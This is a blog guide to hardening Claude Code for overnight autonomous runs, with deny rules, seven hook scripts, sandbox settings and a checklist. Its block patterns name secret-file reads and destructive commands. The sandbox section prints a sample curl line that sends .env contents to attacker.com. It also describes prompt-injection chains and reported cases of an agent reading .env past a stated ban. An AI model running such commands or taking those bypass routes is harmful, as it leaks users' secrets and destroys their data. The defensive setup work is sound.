# How to Configure Claude Code So It Doesn’t Break Your Project Overnight

> 7 hooks, settings.json with permissions, and a 12-point checklist to leave Claude Code working overnight without losing .env or a database. Protection in 4 layers.

Source: https://ailoot.ai/blog/en/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/en/claude-code-safe-overnight-setup/
Language: en
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-e58c28c4c28c251ccb126f96dcdc71a6110ecd1f37480860779fa4456ed27dcd


<div class="aside" data-semantic="editorial-reference" role="note" aria-label="Ailoot Documentation">

[Ailoot Documentation](https://ailoot.ai/docs/) — reference materials for using the service.

</div>

## What Changes in 2026: Autonomous Claude Code and Real Incidents

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

In 2026, Anthropic rolled out `auto-mode`, `/loop`, and `/schedule`—Claude Code can now work for hours without confirmations. The price of autonomy is real incidents: dropped production databases, `.env` leaks, and a bug in `permissions.deny` that still hasn’t been fixed. This guide shows 4 layers of protection to put in place before the first overnight run.

</div>

Previously, Claude Code stopped after every response and asked permission for every write. It was inconvenient, but safe: you physically couldn’t sleep through an incident because the agent would wait for your “yes.” In 2026, that model broke. Anthropic rolled out `auto-mode`—a separate classifier agent decides on your behalf whether to allow each action. The `/loop` command appeared (running a prompt at intervals within a session), as did `/schedule` (cron-style scheduling for long-running tasks). Background sessions launched with `claude --bg` run the agent in the background without a terminal. I covered autonomous mode in detail in the guide [“/goal in Claude Code: Autonomous Mode and Agent View”](https://ailoot.ai/blog/en/claude-code-goal-agent-view/).

The problem is that autonomy rolled out faster than security followed.



At the same time, two bugs are open in Anthropic’s repository that you should know about before adding `permissions.deny` to your `settings.json`:

- **Issue \#44868** (April 7, 2026): Claude Code reads `.env` contents via `grep -n` into the chat transcript, despite an explicit ban in `CLAUDE.md`. The bug is open.
- **Issue \#24846** (February 11, 2026): `permissions.read.deny` rules for `.env*` patterns are not applied—`Read` reads `.env.local` despite a correct deny pattern. Closed as a duplicate, not fixed.

These two gaps show why one layer of protection in `settings.json` is insufficient. Next is a four-layer model: permissions + hooks + sandbox + session separation. Each can reduce exposure, but none makes the other layers complete. The cited auto-mode evaluation does not prove that a regex hook catches its misses. For production, use an isolated OS environment without production credentials or write access, enforce network restrictions outside the model, and test those boundaries before an unattended run.

## What Are the Green and Red Project Zones?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

Green zone: a local project without live customers or money. Red zone: anything with a production database, payments, or personal data. In the green zone, you can use `auto-mode` with a minimum of hooks. In the red zone, protection is built in 4 layers, and `--dangerously-skip-permissions` is architecturally forbidden.

</div>

It’s pointless to build the same protection for every project. A local pet project on your machine that isn’t deployed externally is a completely different level of risk from a service handling real payments and storing customer data. If you use the same protection everywhere, you’ll choke speed in the green zone and still leave gaps in the red zone.

A project switches from green to red as soon as at least one of three conditions is met: live customers appear, money starts flowing through the system, or the database contains people’s personal data. Until then, you can use `auto-mode`, a minimum of hooks, and no sandbox. After that, protection must be rebuilt according to the full setup in this guide.

The main principle: the protection level is tied to the zone. The development stage doesn’t count. A pet project on your machine with a test Stripe account is in the green zone. A service with one paying customer and a registration form is already in the red zone, even if it still looks like a “draft.” Confusing these zones is a common trap in early projects: “we’re still in draft, we’ll add protection later,” and then the first customer pays next week.

## How Does the Permissions Hierarchy Work in settings.json?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

In `settings.json`, `deny` rules always override `allow`, while scopes (user → project → local → managed) are merged rather than overwritten. A user-level deny on `.env`, `*.pem`, and `~/.ssh/**` protects you even in someone else’s repository. The `disableBypassPermissionsMode` key also architecturally blocks YOLO mode.

</div>

Anthropic describes the permissions evaluation hierarchy in its [official documentation](https://code.claude.com/docs/en/settings): deny rules are checked first, then ask, then allow—the first matching rule wins. This means `deny` always overrides `allow`. If you prohibit reading `.env` in `~/.claude/settings.json`, and someone sets `allow` in the project’s `.claude/settings.json`, your prohibition takes effect, not their permission.

Example of a minimal safe user-level `~/.claude/settings.json`:

```json
{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}
```

What’s happening here? The first six rules block reading secret files in the current directory and any subdirectories. `*.pem` and `*.key` are SSL/TLS keys and SSH keys. `credentials*.json` is a typical filename used by cloud providers. The last three are system directories containing SSH keys, AWS credentials, and GPG keys.

The `disableBypassPermissionsMode: "disable"` key blocks the `--dangerously-skip-permissions` flag (also known as YOLO mode). This removes one class of mistakes once and for all: even if you accidentally add this flag in a script or alias, Claude Code will refuse to accept it. It won’t just remove it—it will return the error “mode disabled by managed settings.”

Additionally, starting with version 2.1.142, the `defaultMode: "auto"` key is ignored if it’s in project or local settings. This protects against the situation “I entered someone else’s repository, and its `.claude/settings.json` has automatic mode enabled by default.” Anthropic explicitly stated that repositories cannot enable auto-mode without the user’s consent.

This is the first line of protection. You can’t stop there, because it has two gaps you’ll learn about next.





## Why permissions.deny Isn’t Enough: 2 Open GitHub Issues

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

In April 2026, a user filed issue \#44868 in Anthropic’s repository: Claude reads `.env` through `grep -n` and prints its contents in the transcript, despite the ban in `CLAUDE.md`. In February, issue \#24846 reported that `permissions.read.deny` for `.env*` doesn’t work at the Read tool level. Both remain open, and both mean that `settings.json` without a hook on top is a leaky sieve.

</div>

If `permissions.deny` worked, the guide could have ended in the previous section. It doesn’t.

Issue \#44868 (April 7, 2026): the user explicitly added a ban in `CLAUDE.md` on reading `.env`, `.dev.vars`, and other files containing secrets. Instead of using Read, Claude ran `grep -n SOMETHING .env`. The `grep -n` command prints the full matching line with its number—including the actual API token. That line enters `tool_result`, is rendered in the session transcript, and is saved in the history.



The subtle point the author draws attention to: the model’s safety reflex triggers after the output has already been produced, not before the command runs. In other words, Claude first runs `grep`, gets a line containing the token, and prints it in the chat—only then does it catch its mistake and “apologize.” By then, the token is already in the chat history. The only remedy is to rotate the key.

Issue \#24846 (February 11, 2026): the user configured `permissions.read.deny` with a list that included the `**/.env*` pattern. Then they asked Claude to read `.env.local`. The Read tool completed without errors and printed the file contents.



The issue was closed as a duplicate, but not fixed. As of the time this guide was written (June 2026), it can be reproduced.

Conclusion: Layer 1 in `settings.json` isn’t wasted effort, but these examples do not measure what proportion of accidental reads it prevents. But it doesn’t prevent commands through Bash (`cat .env`, `grep API_KEY .env`, `head .env`), enforcement bugs (issue \#24846), or clever chains using `git diff` or `git show` on a commit containing `.env`. That’s why you need a second layer—hooks.

## How Can Hooks Block Recognized Dangerous Actions?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

In Claude Code, hooks are shell scripts that run on specific events (`PreToolUse`, `UserPromptSubmit`, `Stop`) and can block an action with exit code 2 or JSON containing `permissionDecision: "deny"`. Unlike permissions and `CLAUDE.md`, a hook is middleware: it intercepts a call before execution, without the model’s involvement.

</div>

Hooks work at a different abstraction level from permissions. Permissions are rules the model takes into account when deciding what to do. A hook works differently: the model decides to call a tool, the hook runs between the model and the system, checks the input, and either allows or blocks it. The model doesn’t participate in the hook’s decision—it’s shell code you write yourself.

Anthropic describes blocking behavior in its [official hooks documentation](https://code.claude.com/docs/en/hooks):

<figure>
<blockquote>
<p>Exit 2 means a blocking error. Claude Code ignores stdout and all JSON in it. Instead, stderr text is sent back to Claude as an error message.</p>
</blockquote>
<figcaption>— Claude Code documentation (Hooks), https://code.claude.com/docs/en/hooks</figcaption>
</figure>

This means two things. First, a correctly configured blocking hook can deny the matching tool call. For `PreToolUse`, exit code 2 blocks that call; it does not prove that the script recognizes every dangerous equivalent command. Second, you can put a meaningful message in stderr, and Claude will read it as an error and try another approach. In other words, a hook isn’t just a “fence”; it’s a “fence with a sign explaining why you can’t pass.”

Events that can be blocked with exit 2:

- `PreToolUse`—blocks the tool call before execution. The primary event for defensive hooks.
- `PermissionRequest`—denies permission for an action Claude requested permission to perform.
- `UserPromptSubmit`—blocks and erases the user’s prompt. Useful if the prompt contains suspicious text (for example, prompt injection from a planted email).
- `Stop`—prevents Claude from ending the session. Can be used as a “loop” to keep the agent working until a condition is met.
- `PreCompact`—blocks automatic context compaction. Useful if you want to preserve the transcript until a manual decision.
- `WorktreeCreate`—rejects worktree creation. Protection against Claude trying to clone a repository somewhere unexpected.

An alternative to exit code 2 is returning JSON with a `hookSpecificOutput.permissionDecision` field. `permissionDecision` has four possible values:

- `allow`—explicitly allows the action, bypassing the standard permission flow.
- `deny`—blocks the action, equivalent to exit 2 for PreToolUse.
- `ask`—escalates to the user (a dialog appears).
- `defer`—defers the decision to the regular permission logic.

This gives a hook more control than an exit code. With `permissionDecision: "ask"`, you can turn silent operations into ones requiring confirmation, without blocking them outright. That’s what I do for `npm install <new package>` and lockfile changes.

If you want to learn more about how hooks work and which 31 events are currently available in Claude Code, I covered that in a separate guide [“Hooks in Claude Code: 7 Ready-to-Copy Rules”](https://ailoot.ai/blog/en/claude-code-hooks/). Next, I’ll provide specific hooks for autonomous work.

## Claude Code hooks examples: 7 hooks for overnight work {#which-7-hooks-do-i-use-for-overnight-work}

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

Illustrative `PreToolUse` hooks for 7 scenarios: flag selected secret reads, block recognized literal `git push` calls, filter selected SQL and `rm -rf` patterns, review package installs and manifest changes, and log matching tool calls. Test their matches and misses locally before enabling them. These regex examples are incomplete and do not establish a production security boundary.

</div>

This is the second layer of protection, backing up the first. All hooks go in `.claude/hooks/`, are registered through `.claude/settings.json`, and require jq to be installed.

### Hook 1: Protect .env, .pem, and credentials.json from Reading

Adds checks for selected Read paths and common Bash secret-read commands. It does not catch every tool or every way to read a secret. File: `.claude/hooks/block-secret-reads.sh`:

```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0
```

Registration in `.claude/settings.json`:

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}
```

After installation, run `chmod +x .claude/hooks/block-secret-reads.sh`. Test: ask Claude to read `.env.local`—you’ll get the response “Secret file. Use op:// references or env vars.” instead of the file contents.

### Hook 2: Block literal git push calls in overnight sessions

For an unattended session, this example conservatively blocks every literal `git push` it recognizes, including pushes to feature branches. It does not try to infer the current branch or decide whether a force flag is safe. File: `.claude/hooks/block-force-push.sh`:

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0
```

Register through `PreToolUse` with the `Bash` matcher. Because it blocks the recognized push command rather than parsing flags and branch names, it catches `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main`, and a literal push inside a `&&` or `;` chain. These are offline string-matching examples, not commands to run against a remote.

This remains a text heuristic. Git aliases, shell functions, `git -C ... push`, constructed command names, scripts and other tools can evade it; it is not a complete shell parser. Enforce protected-branch rules at the Git server, remove credentials that can bypass them, and run unattended work in an isolated environment without production write access. A missed hook match must not grant production authority.

### Hook 3: Block Destructive SQL Operations

Directly addresses dropped-database incidents. File: `.claude/hooks/block-destructive-sql.sh`:

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0
```

Register: `PreToolUse` with `matcher: "Bash"`. Note the difference: `DROP` and `DELETE` without `WHERE` are fully blocked, while `UPDATE` without `WHERE` becomes `ask`—it may be legitimate at times (for example, setting a flag on all records in a migration), but always requires manual confirmation.

### Hook 4: rm -rf Filter

Canonical example from Anthropic’s documentation, adapted to deny with a reason:

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0
```

The hook allows `rm -rf node_modules`, `rm -rf .next/cache`, and other explicitly scoped deletions. It blocks `rm -rf .`, `rm -rf /`, `rm -rf ~`, and similar “wipe everything” commands.

### Hook 5: Confirm Installation of New Packages

This hook counters supply chain attacks. If Claude decides on its own to add a new dependency, a dialog appears:

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0
```

The hook lets lockfile installs proceed freely, while adding a new dependency requires confirmation.

### Hook 6: Protect package.json and the Lockfile

Any change to a dependency manifest is a signal for someone to inspect it. Especially overnight.

```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0
```

Register with `PreToolUse` and the `Write|Edit` matcher.

### Hook 7: End-to-End Audit Log of All Bash Calls

If something goes wrong overnight, you need a complete log to understand the sequence of events. Register in `settings.json` (the hook has no separate script; jq does everything):

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}
```

The `.claude/audit.jsonl` file grows one line at a time. In the morning, after an overnight `/loop`, you can run `tail -n 100 .claude/audit.jsonl | jq` and see what the agent did at each point. This is critical for a post-mortem because the session transcript can be long and hard to read, while the audit log provides a clean timeline.

## How Do Sandbox and Worktree Isolation Protect Long Sessions?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

Sandbox in Claude Code is filesystem and network isolation. Anthropic reports an 84% reduction in permission requests with equal security. Network isolation blocks `.env` exfiltration to a remote server, even if the agent has already read it. For long background sessions, sandbox + worktree are mandatory.

</div>

If hooks are a “fence with a sign,” the sandbox is a “fence + moat + drone net.” It’s the fourth layer of protection, covering situations where hooks let an action through, but even executing that action shouldn’t cause harm outside the environment.

In its [blog post about sandboxing](https://www.anthropic.com/engineering/claude-code-sandboxing) (October 20, 2025), Anthropic reports internal measurements:

<figure>
<blockquote>
<p>According to our internal data, sandboxing safely reduces permission prompts by 84%.</p>
</blockquote>
<figcaption>— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing</figcaption>
</figure>

This means that when you enable `/sandbox`, Claude stops asking permission for 84% of actions because those actions physically cannot leave the sandbox. That’s useful for speed, but it’s not the main value.

The sandbox provides two levels of isolation, each with its own role:

**Filesystem isolation** limits reading and writing to explicitly allowed directories. Even if a hook misses an attempt to write to `/etc/hosts` or read `~/.ssh/id_rsa`, the sandbox won’t let the system call through. This is protection at the operating system level. The application layer can’t see it.

**Network isolation** allows connections only to approved servers. This is critical for exfiltration attacks. Scenario: a prompt injection in a planted file tricked Claude into reading `.env` (the hook missed it because the read took an unusual path), then the model decides to run `curl -X POST attacker.com -d "$ENV_CONTENT"`. Without network isolation, this works. With network isolation, `curl` can’t reach `attacker.com` because the host isn’t on the list.

Start it with the `/sandbox` command inside Claude Code. Configure it in `~/.claude/settings.json`:

```json
{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}
```

For long background sessions launched with `claude --bg`, add worktree isolation to the sandbox. This is a native Claude Code mechanism: each background session is automatically moved into its own `.claude/worktrees/<name>/` on a separate branch. This means parallel sessions won’t step on one another while writing to the same files. I covered worktree isolation in detail in the guide [“Agent View and Worktrees: Claude Code’s Autonomous Mode”](https://ailoot.ai/blog/en/claude-code-goal-agent-view/).



Sandbox is part of the feedback loop. When Claude knows its actions are constrained, it works more carefully and states its intermediate steps more clearly.

## Where Does auto-mode Work in 2026, and Where Doesn’t It?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

Auto-mode in Claude Code is a Sonnet 4.6 classifier that replaces manual permissions with automated decisions based on Anthropic’s rules. According to Anthropic itself, its false-negative rate on dangerous actions is 17%, and the session stops after 3 consecutive or 20 total classifier rejections. In the green zone, it’s a reasonable replacement for manual approval. In the red zone, hooks are still necessary.

</div>

In March 2026, Anthropic rolled out auto-mode as “a middle ground between manual review and no guardrails.” It’s a separate Sonnet 4.6 model that evaluates every Claude action against a set of criteria before execution. Anthropic described the mechanics in the [Anthropic Engineering blog](https://www.anthropic.com/engineering/claude-code-auto-mode):

<figure>
<blockquote>
<p>Auto-mode is a new Claude Code mode that delegates approvals to model-based classifiers. It’s a middle ground between manual review and no guardrails.</p>
</blockquote>
<figcaption>— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode</figcaption>
</figure>

Auto-mode has two important limits:

- If a session accumulates 3 consecutive or 20 total classifier rejections, the model stops and escalates to a human. This protects against a situation where “Claude loops, trying to bypass a restriction with 100 different phrasings of the same command.”
- Auto-mode allows an action if it resembles 93% of typical cases that users approve anyway. This reduces permission fatigue, but doesn’t protect against atypical dangerous actions.

And here’s the main figure to pay attention to:

<figure>
<blockquote>
<p>A 17% false-negative rate on real overeager actions—that’s the honest number.</p>
</blockquote>
<figcaption>— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode</figcaption>
</figure>

The reported 17% is a false-negative rate on that evaluation, not a probability for every action in your project. It does not establish that the sample hooks catch the missed actions. In the red zone, unattended work needs enforced isolation from production writes and secrets, plus server-side protected branches and credentials that cannot bypass those rules.

Practical conclusion: use hooks as additional checks in a disposable, recoverable environment. Even a local project can contain untracked files or credentials that Git cannot restore. In the red zone, a hook miss must be contained by actual access controls; a collection of regexes does not turn arbitrary shell execution into a deterministic safety guarantee.

## Why Separate Contexts into Three Session Types?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

The most dangerous chain consists of three ordinary commands in a row, not one bad command. The agent reads `.env` (legitimate), parses an incoming email (legitimate), and sends an HTTP request externally (legitimate). Each action is safe on its own; together, they’re exfiltration. The protection is to split the three task types into separate sessions with different permissions.

</div>

Three types of tasks should never live in the same session:

**Type 1: working with personal data.** The session has access to the production database, can send email, and can see credentials. It does NOT have access to external documents (emails, PDFs, web pages) and CANNOT send data to arbitrary addresses.

**Type 2: processing external documents.** The session can parse incoming emails, download web pages, and read PDFs from email. It does NOT have access to a database containing personal data and CANNOT send anything externally without explicit confirmation.

**Type 3: publishing externally.** The session can post on social networks, send email campaigns, and create pull requests. It does NOT have access to personal data and does NOT parse incoming content.

Why separate them? If one session does everything, a single prompt injection in a planted PDF (a competitor agency sent an “invoice”) is enough for the agent in one pass to read your customer database, find their emails, and send them to an attacker’s address. Every action in this chain is legitimate for its own type of task. Together, it’s a leak.



In practice, this is implemented with different `.claude` directories for different task types. I keep three configurations on my machine: `~/projects/business-ops/.claude/` (type 1, database access, network denied except for internal APIs), `~/projects/inbox-parsing/.claude/` (type 2, all network denied), `~/projects/social-posting/.claude/` (type 3, network allowed for Telegram and Slack APIs). Each directory is a separate project for Claude Code with its own permissions and hooks.

## Which 12 Checklist Items Do I Go Through Before /loop?

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

A 12-point checklist I go through before launching `/loop`, `/schedule`, or `claude --bg` overnight. It ranges from `~/.claude/settings.json` with a basic deny to `/sandbox` with network isolation. If even one item isn’t covered, I don’t launch.

</div>

1.  `~/.claude/settings.json` with user-level `deny` for `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**`, `~/.aws/**`. This is the foundation; the rest is pointless without it.

2.  `disableBypassPermissionsMode: "disable"` in `~/.claude/settings.json`. Blocks the YOLO flag once and for all.

3.  The `block-secret-reads.sh` examples have been tested on selected secret-read commands; actual secrets and production credentials are inaccessible to the unattended environment.

4.  The `block-force-push.sh` example blocks recognized literal pushes regardless of flag order or destination; protected branches and non-bypass credentials are enforced by the Git server.

5.  The `block-destructive-sql.sh` hook for `DROP TABLE`, `TRUNCATE`, and `DELETE FROM` without `WHERE`.

6.  The `block-rm-rf.sh` hook for `rm -rf` without explicit scope.

7.  The `ask-on-new-deps.sh` hook for `npm install <new package>` (separate from `npm install` with no arguments).

8.  The `ask-on-lockfile-change.sh` hook for writes to `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml`, and `Cargo.toml`.

9.  A catch-all `audit.jsonl` log for all Bash, Write, and Edit calls. Without it, post-mortem analysis is impossible.

10. All long background sessions run in a worktree, not on the main branch: `claude --bg "task"` automatically creates a worktree, but check that `settings.json` doesn’t contain `worktree.bgIsolation: "none"`.

11. `/sandbox` before launching a long autonomous task. The filesystem is restricted to the project directory and `/tmp`. The network uses an allowlist of api.anthropic.com, github.com, and registry.npmjs.org.

12. A verification step inside the task: after every major change, run the test runner or linter. If they fail, the agent doesn’t continue until they’re fixed.

The last item is a work pattern, not a tool setting. Give Claude a way to check its work. Without verification, an overnight agent loops through “I think I did this right, moving on,” accumulating errors until morning. With verification, it doesn’t continue until the check passes.

## 7 Anti-Patterns: What NOT to Do

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

Key takeaway

Seven common mistakes from the projects described here: running `--dangerously-skip-permissions` on a machine with production access, relying only on `CLAUDE.md`, trusting `permissions.deny` without a hook on top, and using auto-mode without backup rules. Each mistake is connected to real incidents described in the sources.

</div>

**1. `--dangerously-skip-permissions` on a host machine with production access.** The cost of a mistake is hours of recovery plus data that isn’t in the backup. If an incident has already happened, open [“What to Do if AI Deleted a Database: Recovery Checklist”](https://ailoot.ai/blog/en/ai-deleted-database-recovery/) and follow the 10 steps in order.

**2. Relying only on `CLAUDE.md` for security.** Issue \#44868 proved that the model acts first and apologizes later. An advisory instruction in a text file doesn’t block a tool call. A correctly configured hook can block matching calls, while OS, sandbox and service-side access controls enforce broader boundaries. `CLAUDE.md` matters for project context—I wrote about it separately in [“How to Configure CLAUDE.md Correctly”](https://ailoot.ai/blog/en/claude-md-template/)—but it doesn’t protect you from an autonomous agent.

**3. Relying only on `permissions.deny` in `settings.json` without a hook on top.** Issue \#24846 has been open since February 2026. Deny for `.env*` can be bypassed through `grep` in Bash. A hook can add checks, but secrets must also be excluded from the unattended environment; a regex is not a complete replacement for access control.

**4. Treating auto-mode plus regex hooks as production isolation.** The cited false-negative rate is evaluation-specific, and hook coverage is incomplete. Remove production write credentials and verify the enforced boundary instead of assuming every dangerous action will be intercepted.

**5. Installing a new package with `npm install` without confirmation.** Supply chain attacks are real. Typosquatted packages with thousands of downloads exist. You need an allowlist.

**6. Not logging Bash calls.** Without an audit log, you won’t be able to understand what happened overnight. The chat transcript is long, isn’t indexed by command, and doesn’t provide a timeline. `.claude/audit.jsonl` solves both problems.

**7. Not using a worktree for background sessions.** Parallel sessions in one directory step on each other’s work. Claude Code has `worktree.bgIsolation`, enabled by default since version 2.1.143, but check your settings.

And the main thing no hook or setting can prevent:



The person responsible for production protection is the one who launched the agent. Claude Code works like a straight razor: you can shave with it, and you can cut yourself with it. Configuration answers one question: have you prepared the environment well enough that the razor won’t cut anything it shouldn’t?

<div class="section" role="doc-bibliography" aria-label="Sources">

### Sources

- [Anthropic Claude Code Settings - official documentation](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks - official documentation](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security - official documentation](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: Claude Code sandboxing (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto mode and safety classifier (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (versions 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)









</div>

Pre-incident setup is part of **context engineering**: you limit in advance what the agent can do, thereby freeing it to do what you want it to do.



More resources are available on [Ailoot](https://ailoot.ai/).


## Questions about How to Configure Claude Code So It Doesn’t Break Your Project Overnight

### Will the force-push hook protect production against every shell command?

No. The revised example blocks recognized literal git push calls, including either flag order, implicit branches, refspecs and ordinary shell chains. Aliases, wrappers and constructed commands can evade this text check; enforce protected branches and remove bypass credentials.

### What is required before leaving an agent running overnight?

Use an isolated environment without production write access or readable secrets, verify network and service-side restrictions, and test the hook’s intended matches and misses. Hooks add checks but do not replace those enforced boundaries.


## Ailoot · The company and its project portfolio

Ailoot combines established operating experience, a large client base, stable service and ongoing KPI control.

The company and its project portfolio: millions of customers; monthly sales in the billions.

Ailoot brings that operating experience to API access for AI features in customer products, agents, applications and automations.
